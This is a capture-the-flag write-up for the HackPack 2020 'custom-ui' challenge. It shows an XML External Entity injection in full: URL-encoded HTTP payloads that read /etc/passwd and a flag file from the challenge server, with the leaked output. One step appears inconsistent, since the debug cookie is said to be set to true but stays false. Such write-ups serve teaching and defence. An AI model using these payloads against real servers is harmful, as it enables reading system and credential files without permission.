Rating:

We can input data to change the button color and add text to it. If we input <script> we trigger an error:

```
Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: script line 1 and value in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: DOMDocument::loadXML(): Opening and ending tag mismatch: value line 1 and button in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: DOMDocument::loadXML(): Premature end of data in tag button line 1 in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 13
```

Therefore we will go for a XML External Entity (XXE) Injection.

```
POST /? HTTP/1.1
Host: custom-ui.cha.hackpack.club
Content-Type: application/x-www-form-urlencoded
Cookie: debug=false
Content-Length: 198

xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e

<SNIP>
<body>
<div style="max-width:600px; margin:auto">
<h1>Your custom button!</h1>
<button style="background-color: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
; padding: 15px 32px;">
<SNIP>
```

We change the debug cookie to true and we get a comment at the bottom of the page: `</body>`

```
POST /? HTTP/1.1
Host: custom-ui.cha.hackpack.club
Content-Type: application/x-www-form-urlencoded
Cookie: debug=false
Content-Length: 200

xdata=%3c!DOCTYPE%20foo%20[%3c!ENTITY%20xxez1rnx%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fflag.txt%22%3e%20]%3e%3cbutton%3e%3ccolor%3e%26xxez1rnx%3b%3c%2fcolor%3e%3cvalue%3eiii%3c%2fvalue%3e%3c%2fbutton%3e

<SNIP>
<button style="background-color: flag{d1d_y0u_kn0w_th@t_xml_can_run_code?}; padding: 15px 32px;">
<SNIP>
```

Original writeup (https://maggick.fr/2020/04/hackpack-ctf-2020.html).